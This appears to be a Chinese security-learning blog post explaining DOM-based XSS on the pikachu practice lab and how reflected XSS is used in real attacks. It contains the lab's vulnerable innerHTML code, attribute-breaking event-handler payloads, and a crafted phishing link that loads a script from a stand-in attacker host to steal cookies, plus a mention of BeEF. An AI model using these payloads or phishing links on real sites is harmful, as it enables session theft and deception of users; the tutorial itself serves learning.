Dom型xss的理解和反射型xss实战操作

        Dom型xss类似于反射型xss,但是不同点在于DOM 型的 XSS 主要是由客户端的js脚本通过 DOM 动态地输出数据到页面上,它不依赖于提交数据到服务器,而是从客户端获得DOM中的数据在本地执行。容易导致 DOM 型的 XSS 的输入源包括:Document.URL、Location(.pathname|.href|.search|.hash)、Document.referrer、Window.name、Document.cookie、localStorage/globalStorage

这里以pikachu的靶场为例:

<script>

function domxss(){

var str = document.getElementById("text").value;

document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";

}

//试试:'><img src="#" οnmοuseοver="alert('xss')">

//试试:' οnclick="alert('xss')">,闭合掉就行

</script>

对于这段js脚本中,str是我们输入框中输入的文本内容, document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";这段代码通过getelementbyid方法拼接了一个a标签作为<div id="dom">节点内的内容(用innerHTML实现),因此便可以构造闭合语句,闭合a标签,达到效果。

payload:' οnclick=alert('xss') '

思考如何通过反射型或者dom型xss在实战中能够达到效果?毕竟这两种类型都是在前端执行,不同于存储型xss会经过后端,存在于数据库中?

        反射性XSS一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的URL,当受害者点击这些专门设计链接的时候,恶意代码会直接在受害主机上的浏览器上执行,反射型XSS通常出现在网站搜索栏,用户登入口等地方,常用来窃取客户端或进行钓鱼欺骗。

        考虑一种场景,若是我们通过测试判定一个网站存在xss,那么可以利用这个存在xss的点进行写入xss链接,类似于<a href="http://xsstest.qq.com/search.php?q=%3Cscript+src%3Dhttp%3A%2F%2Fhacker.qq.com%2Fhacker.js%3E%3C%2Fscript%3E&commend=all&ssid=s5-e&search_type=item&atype=&filterFineness=&rr=1&pcat=food2011&style=grid&cat=">点击就送998</a>     这样的一个链接,通过某种方式(社工)发送给用户,比如邮箱,社交软件等欺骗用户点击链接,那么就会触发q=... 后面的网址并访问,hacker.qq.com(hack的服务器),并执行写好的js代码,用户在不知情的情况下在该网站上进行操作,登录注册等,此时在hack端完全可以使用监控用户,得到cookie等信息(后续就可以使用beef搞了)。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值